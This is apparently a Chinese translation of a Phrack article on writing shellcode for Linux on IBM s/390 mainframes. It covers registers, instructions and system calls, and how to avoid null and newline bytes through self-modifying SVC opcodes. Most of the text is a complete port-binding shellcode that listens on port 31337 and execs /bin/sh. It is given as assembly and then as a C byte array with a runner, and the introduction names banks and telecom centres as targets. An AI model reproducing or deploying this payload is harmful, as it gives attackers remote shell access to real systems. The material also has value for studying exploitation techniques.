Linux/390 shellcode development
转载:
来源:http://www.whitecell.org
==Phrack Inc.==
Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12
|=----------------=[ Linux/390 shellcode development ]=------------------=| |=-----------------------------------------------------------------------=| |=-------=[ johnny cyberpunk <jcyberpunk@thehackerschoice.com> ]=--------=| |=-------=[ 整理:e4gle <e4gle@whitecell.org> from whitecell.org]=--------=|
--[ 目录
1 - 介绍
2 - 正文 2.1 - 寄存器 2.2 - 指令 2.3 - 系统调用 2.4 - 初始代码 2.5 - 避免0x00和0x0a 2.6 - 最终代码
3 - 参考资料
--[ 1 - 介绍
自从IBM发布了linux/390系统之后,关于它的越来越多的资料都可以在互联网上找到。如果 能一个hacker可以找到如何发现一个大型机的漏洞并且可以exploit它,那将是一件非常有 意义的事情。谁会是大型机的主人呢?对,一个大型的计算机中心,证券系统或者银行电信等。 好,在这篇文章中我将讲述如何在linux/390系统之上书写shellcode的方法。最后我会给出 一个shellcode的例子。
--[ 2 - 正文
最晚1998年一个来自Boeblingen/Germany的小型的IBM开发者团队开始将linux移植到大型机 上。一年后在1999年的12月底第一个版本发布叫IBM s/390。现在存在两个版本。
一个是32位的版本,运行linux系统在s/390上,另一个是64位的版本,运行linux在zSeries上。 支持distros和Suse,redhat和turbolinux。linux for s/390是基于内核版本2.2的,zSeries 是基于内核2.4的。有两种不同的运行linux的方法:
Native - 整个系统运行linux,没有其他操作系统 LPAR - 逻辑分区): 硬盘可以划分逻辑分区,例如,一块逻辑分区可以是一个VM/VSE环境 ,另一块逻辑分区是linux。 VM/ESA Guest - 表示一个用户还可以在虚拟机上运行一个linux系统
二进制格式仍是ELF格式
----[ 2.1 - 寄存器
编写我们的shellcode我们没有必要知道s/390或zSeries的所有寄存器。我们最感兴趣的寄存器 是%r0-%r15。这里我还是在这里列出其他的寄存器,大概介绍一下,给大家有个直观的认识。
通用寄存器 : %r0-%r15 或 gpr0-gpr15 被用来寻址操作和计算操作 控制寄存器 : cr0-cr15仅被用作内核对irq的控制,内存管理,调试控制等等 地址寄存器 : ar0-ar15通常不用于程序,但通常用于临时存储 浮点寄存器 : fp0-fp15 有IEEE和HFP两种浮点类型( Linux只使用IEEE ) PSW ( 程序状态字 ) : 这是一个非常重要的寄存器,它充当了一个程序计数器,内存空间指示器和 条件码寄存器的角色。如果大家需要了解这些寄存器的详细信息,可以在文章 结尾部分的参考资料中得到帮助。
----[ 2.2 - 指令
下面我会介绍给大家一些开发我们的shellcode时需要用到的指令格式及语法。
指令 实例 --------------------------------------------------------------------------- basr (branch and save) %r1,0 # 保存0到寄存器%r1中 lhi (load h/word immediate) lhi %r4,2 # 加载2到寄存器%r4中 la (load address) la %r3,120(%r15) # 把%r15+120这个地址加载到寄存器%r3中 lr (load register) lr %r4,%r9 # 将寄存器%r9中的值加载到寄存器%r4中 stc (store character) stc %r6,120(%r15) # 从寄存器%r6存储一个字符到%r15+120中 sth (store halfword) sth %r3,122(%r15) # 从寄存器%r3存储两个字节到%r15+122中 ar (add) ar %r6,%r10 # 将两值相加存储到寄存器%r6中 xr (exclusive or) xr %r2,%r2 # 0x00 trick :) svc (service call) svc 1 # 退出
----[ 2.3 - 系统调用
在s/390或zSeries的linux机器上系统调用是通过以0x0a为操作码调用SVC指令来实现。 这对我们的shellcoder来说并不是很有利,0x0a在大多数服务中是一个特殊字符。 但是在我开始试验我们如何避开这个使用这个调用的方法之前,让我们来看一下我们 的OS试如何使用系统调用的。
系统调用的首4个参数定义在寄存器%r2-%r5中,结果代码(resultcode)可以在 SVC调用之后在%r2中找到。
Example of an execve call: 下面是一个execve调用的例子:
basr %r1,0 base: la %r2,exec-base(%r1) la %r3,arg-base(%r1) la %r4,tonull-base(%r1) svc 11 ;e4gle add,估计这里的11就是11号系统调用execve
exec: .string "/bin//sh" arg: .long exec tonull: .long 0x0
再举一个特殊的例子SVC调用102号系统调用(SYS_SOCKET)。首先我们必须在寄存器 %r2中填上相应的函数(socket,bind,listen,accept,等等),寄存器%r3指向该函数所需 参数的列表。每个列表中参数都是u_long的类型。 /*e4gle add 我个人认为这里地SYS_SOCKET系统调用之所以特殊,也是和普通linux的系统调用sys_socket 一样,它是一个函数组的借口,所以要指定相应的函数,看来还是大同小异:) */
来看看socket()调用的例子:
lhi %r2,2 # domain lhi %r3,1 # type xr %r4,%r4 # protocol stm %r2,%r4,128(%r15) # 存储%r2 - %r4 lhi %r2,1 # 相应函数socket() la %r3,128(%r15) # 指向API值 svc 102 # 调用102号系统调用SYS_SOCKET lr %r7,%r2 # 保存文件描述符到寄存器%r7(就是socket句柄)
----[ 2.4 - 初始的shellcode代码
好,这里有一个简单的绑定shell到一个端口的shellcode初始代码:
.globl _start _start: basr %r1,0 # 我们的基地址 base:
lhi %r2,2 # AF_INET sth %r2,120(%r15) lhi %r3,31337 # 绑定的端口号 sth %r3,122(%r15) xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120-127是struct sockaddr * lhi %r3,1 # SOCK_STREAM stm %r2,%r4,128(%r15) # 存储寄存器%r2-%r4, 我们的API值 lhi %r2,1 # SOCKET_socket la %r3,128(%r15) # 指向API 值 svc 102 # SOCKETCALL lr %r7,%r2 # 保存socket句柄到寄存器%r7中 la %r3,120(%r15) # 指向struct sockaddr * lhi %r9,16 # 保存16到寄存器%r9中 lr %r4,%r9 # sizeof address stm %r2,%r4,128(%r15) # 保存寄存器%r2-%r4, 我们的API值 lhi %r2,2 # SOCKET_bind la %r3,128(%r15) # 指向API值 svc 102 # 调用socket() lr %r2,%r7 # 获取保存的socket句柄 lhi %r3,1 # MAXNUMBER stm %r2,%r3,128(%r15) #保存寄存器%r2-%r3, 我们的API值 lhi %r2,4 # SOCKET_listen la %r3,128(%r15) # 指向API值 svc 102 # 调用socket() lr %r2,%r7 # 获取保存的socket句柄 la %r3,120(%r15) # 指向struct sockaddr * stm %r2,%r3,128(%r15) # 保存寄存器%r2-%r3, 我们的API值 st %r9,136(%r15) # %r9 = 16, this case: fromlen lhi %r2,5 # SOCKET_accept la %r3,128(%r15) # 指向API值 svc 102 # 调用socket() xr %r3,%r3 # the following shit svc 63 # 复制stdin,stdout(dup2调用) ahi %r3,1 # stderr svc 63 # DUP2 ahi %r3,1 svc 63 la %r2,exec-base(%r1) # 指向/bin/sh la %r3,arg-base(%r1) # 指向/bin/sh的地址 la %r4,tonull-base(%r1) # 指向envp的值 svc 11 # 调用execve slr %r2,%r2 svc 1 # 调用exit exec: .string "/bin//sh" arg: .long exec tonull: .long 0x0
/*e4gle add 其实就是以上面的框架依次调用bind,listen,accept等socket函数,他们的系统调用都是102号调用socket()。 思路还是和我们在普通linux上学习shellcode是一样的 */
----[ 2.5 - 避开0x00 和 0x0a
要得到一个顺利工作的shellcode我们就必须避免两件事情。首先要避免0x00,第二 要避免0x0a。
这里是我们第一个例子
a7 28 00 02 lhi %r2,02
以下是我的解决方法,可以达到同样的效果:
a7 a8 fb b4 lhi %r10,-1100 a7 28 04 4e lhi %r2,1102 1a 2a ar %r2,%r10
我在寄存器%r10中静态定义一个-1100,在加载完1100之后,下一条指令我让 1102-1100,这样给我同样的正确的值。很简单。
下一步我们修改一下svc的操作码:
svc: .long 0x0b6607fe <---- 等同于指令:svc 66; br %r14
看一下第一个字节,此刻它的值是0x0b。下面代码将其改变成0x0a:
basr %r1,0 # 基地址 la %r9,svc-base(%r1) # 加载svc子程序的地址到寄存器%r9 lhi %r6,1110 # selfmodifing lhi %r10,-1100 # code is used ar %r6,%r10 # 1110 - 1100 = \x0a SVC的操作码 stc %r6,svc-base(%r1) # 保存svc的操作码
最后改变后的代码如下:
0a 66 svc 66 07 fe br %r14
/*e4gle add 以上它实际调用的是操作码0x0b6607fe,但实际调用的确是0a6607fe,从而避开了 0a。 */
分解子程序为SVC 102:
basr %r14,%r9 # branch to subroutine SVC 102
寄存器%r9是子程序的地址,寄存器%r14包含了我们需要跳回的地址。
----[ 2.6 - 最终代码
好,现在看看我们的最终的shellcode代码:
.globl _start _start: basr %r1,0 # our base-address base: la %r9,svc-base(%r1) # load address of svc subroutine lhi %r6,1110 # selfmodifing lhi %r10,-1100 # code is used ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC stc %r6,svc-base(%r1) # store svc opcode lhi %r2,1102 # portbind code always uses ar %r2,%r10 # real value-1100 (here AF_INET) sth %r2,120(%r15) lhi %r3,31337 # port sth %r3,122(%r15) xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120-127 is struct sockaddr * lhi %r3,1101 # SOCK_STREAM ar %r3,%r10 stm %r2,%r4,128(%r15) # store %r2-%r4, our API values lhi %r2,1101 # SOCKET_socket ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r7,%r2 # save socket fd to %r7 la %r3,120(%r15) # pointer to struct sockaddr * lhi %r8,1116 ar %r8,%r10 # value 16 is stored in %r8 lr %r4,%r8 # size of address stm %r2,%r4,128(%r15) # store %r2-%r4, our API values lhi %r2,1102 # SOCKET_bind ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r2,%r7 # get saved socket fd lhi %r3,1101 # MAXNUMBER ar %r3,%r10 stm %r2,%r3,128(%r15) # store %r2-%r3, our API values lhi %r2,1104 # SOCKET_listen ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r2,%r7 # get saved socket fd la %r3,120(%r15) # pointer to struct sockaddr * stm %r2,%r3,128(%r15) # store %r2-%r3, our API values st %r8,136(%r15) # %r8 = 16, in this case fromlen lhi %r2,1105 # SOCKET_accept ar %r2,%r10 la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lhi %r6,1163 # initiate SVC 63 = DUP2 ar %r6,%r10 stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63 lhi %r3,1102 # the following shit ar %r3,%r10 # duplicates basr %r14,%r9 # stdin, stdout ahi %r3,-1 # stderr basr %r14,%r9 # SVC 63 = DUP2 ahi %r3,-1 basr %r14,%r9 lhi %r6,1111 # initiate SVC 11 = execve ar %r6,%r10 stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11 la %r2,exec-base(%r1) # point to /bin/sh st %r2,exec+8-base(%r1) # save address to /bin/sh la %r3,exec+8-base(%r1) # points to address of /bin/sh xr %r4,%r4 # 0x00 is envp stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00 st %r4,exec+12-base(%r1) # store 0x00 value for envp la %r4,exec+12-base(%r1) # point to envp value basr %r14,%r9 # branch to subroutine SVC 11 svc: .long 0x0b6607fe # our subroutine SVC n + br %r14 exec: .string "/bin/sh\\"
c代码 :
char shellcode[]= "\x0d\x10" /* basr %r1,%r0 */ "\x41\x90\x10\xd4" /* la %r9,212(%r1) */ "\xa7\x68\x04\x56" /* lhi %r6,1110 */ "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd4" /* stc %r6,212(%r1) */ "\xa7\x28\x04\x4e" /* lhi %r2,1102 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */ "\xa7\x38\x7a\x69" /* lhi %r3,31337 */ "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */ "\x17\x44" /* xr %r4,%r4 */ "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */ "\xa7\x38\x04\x4d" /* lhi %r3,1101 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ "\xa7\x28\x04\x4d" /* lhi %r2,1101 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x72" /* lr %r7,%r2 */ "\x41\x30\xf0\x78" /* la %r3,120(%r15) */ "\xa7\x88\x04\x5c" /* lhi %r8,1116 */ "\x1a\x8a" /* ar %r8,%r10 */ "\x18\x48" /* lr %r4,%r8 */ "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */ "\xa7\x28\x04\x4e" /* lhi %r2,1102 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x27" /* lr %r2,%r7 */ "\xa7\x38\x04\x4d" /* lhi %r3,1101 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ "\xa7\x28\x04\x50" /* lhi %r2,1104 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x18\x27" /* lr %r2,%r7 */ "\x41\x30\xf0\x78" /* la %r3,120(%r15) */ "\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */ "\x50\x80\xf0\x88" /* st %r8,136(%r15) */ "\xa7\x28\x04\x51" /* lhi %r2,1105 */ "\x1a\x2a" /* ar %r2,%r10 */ "\x41\x30\xf0\x80" /* la %r3,128(%r15) */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x8b" /* lhi %r6,1163 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ "\xa7\x38\x04\x4e" /* lhi %r3,1102 */ "\x1a\x3a" /* ar %r3,%r10 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x3a\xff\xff" /* ahi %r3,-1 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x3a\xff\xff" /* ahi %r3,-1 */ "\x0d\xe9" /* basr %r14,%r9 */ "\xa7\x68\x04\x57" /* lhi %r6,1111 */ "\x1a\x6a" /* ar %r6,%r10 */ "\x42\x60\x10\xd5" /* stc %r6,213(%r1) */ "\x41\x20\x10\xd8" /* la %r2,216(%r1) */ "\x50\x20\x10\xe0" /* st %r2,224(%r1) */ "\x41\x30\x10\xe0" /* la %r3,224(%r1) */ "\x17\x44" /* xr %r4,%r4 */ "\x42\x40\x10\xdf" /* stc %r4,223(%r1) */ "\x50\x40\x10\xe4" /* st %r4,228(%r1) */ "\x41\x40\x10\xe4" /* la %r4,228(%r1) */ "\x0d\xe9" /* basr %r14,%r9 */ "\x0b\x66" /* svc 102 <--- after modification */ "\x07\xfe" /* br %r14 */ "\x2f\x62\x69\x6e" /* /bin */ "\x2f\x73\x68\x5c"; /* /sh\ */
main() { void (*z)()=(void*)shellcode; z(); }
/*e4gle add 后面避免0x00,0x0a部分我大概能理解,但无法在文章上表达出来,因为缺少这个系统的经验,所以自己也没 完全吃透,如果有高手可以测试并给我指出我非常感谢! */
--[ 3 - 参考资料:
[1] z/Architecture Principles of Operation (SA22-7832-00) http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf
[2] Linux for S/390 ( SG24-4987-00 ) http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf
[3] LINUX for S/390 ELF Application Binary Interface Supplement http://oss.software.ibm.com/linux390/docu/l390abi0.pdf
[4] Example exploits http://www.thehackerschoice.com/misc/sploits/
|=[ EOF ]=---------------------------------------------------------------=|
|